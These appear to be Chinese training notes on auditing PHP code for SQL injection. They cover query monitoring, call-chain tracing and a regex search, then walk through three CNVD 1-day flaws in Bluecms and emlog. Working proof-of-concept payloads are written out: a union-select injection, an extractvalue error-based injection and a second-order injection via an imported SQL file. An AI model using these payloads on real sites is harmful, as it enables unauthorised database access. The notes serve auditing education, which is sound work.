Day155_PHP专题
演示案例
代码审计-PHP原生-SQL注入&搜索&监控&功能
挖掘技巧:
- 语句监控-数据库SQL监控排查可利用语句定向分析
- 功能追踪-功能点文件SQL执行代码函数调用链追踪
- 正则搜索-
(update|select|insert|delete|).*?where.*=
如何快速的在多个文件代码里面找脆弱:
- 看文件路径
- 看代码里面的变量(可控)
- 看变量前后的过滤
1、Bluecms-CNVD-1Day-常规注入审计分析
审计流程:(update|select|insert|delete|).*?where.*=\
正则→ad_js.php→getone()→无过滤→有输出payload注入
Poc:
ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()
2、emlog-CNVD-1Day-常规注入审计分析
https://www.cnvd.org.cn/flaw/show/CNVD-2018-26200
审计流程:
comment.php→delCommentByIp($ip)→无过滤→构造触发
Poc:
/admin/comment.php?action=delbyip&ip=127.0.0.1%27and(extractvalue(1,concat(0x7e,(select%20user()),0x7e)))%20--+&token=11f3f9cb7e78e3f88e39ea5678939b7d
3、emlog-CNVD-1Day-二次注入审计分析
https://www.cnvd.org.cn/flaw/show/CNVD-2023-65138
https://github.com/fupinglee/MySQLMonitor
https://github.com/cw1997/MySQL-Monitor
审计流程:
数据库监控→user.php无可控→nickname→添加不可控→data.php可控→导出修改导入→触发二次注入
/admin/data.php
导入文件时执行SQL文件中语句,带入Payload
INSERT INTO emlog_user VALUES('110','','$P$BnTaZnToynOoAVP6T/MiTsZc9ZAQNg.',(select version()),'writer','n','','123@qq.com ' , '','','0','1687261845','1687261845');/admin/user.php
select查询nickname条件数据,访问触发二次注入